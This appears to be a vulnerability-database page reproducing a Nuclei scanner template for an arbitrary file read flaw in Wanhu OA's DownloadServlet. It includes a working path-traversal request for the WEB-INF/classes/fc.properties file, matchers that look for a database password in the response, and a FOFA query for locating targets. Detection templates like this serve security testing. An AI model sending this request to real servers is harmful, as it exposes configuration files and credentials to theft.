wanhuoa-downloadservlet-lfi: Wanhu OA DownloadServlet - Remote File Disclosure

2025-08-01 Wanhu OA DownloadServlet PoC Public

Description

There is an arbitrary file reading vulnerability in the Wanhu OA DownloadServlet interface. An attacker can use the vulnerability to read sensitive files in the server and obtain sensitive information.

PoC

id: wanhuoa-downloadservlet-lfi

info:
  name: Wanhu OA DownloadServlet - Remote File Disclosure
  author: wpsec
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the Wanhu OA DownloadServlet interface. An attacker can use the vulnerability to read sensitive files in the server and obtain sensitive information.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E4%B8%87%E6%88%B7OA%20DownloadServlet%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20DownloadServlet%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="万户网络-ezOFFICE"
  tags: oa,wanhu,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body,'ccerp.password')"
          - "contains(header,'application/x-msdownload')"
        condition: and
# digest: 4a0a004730450220478ebfa639ad618948fe7ba1f681fcc3317da9d341648a1a050c41ea2a8501180221009d3514c5e10b37b834d7981d23cf49e9dc7ccafdb556fa7cfb67a375f48f52e5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wanhu/wanhuoa-downloadservlet-lfi.yaml

References

Related Vulnerabilities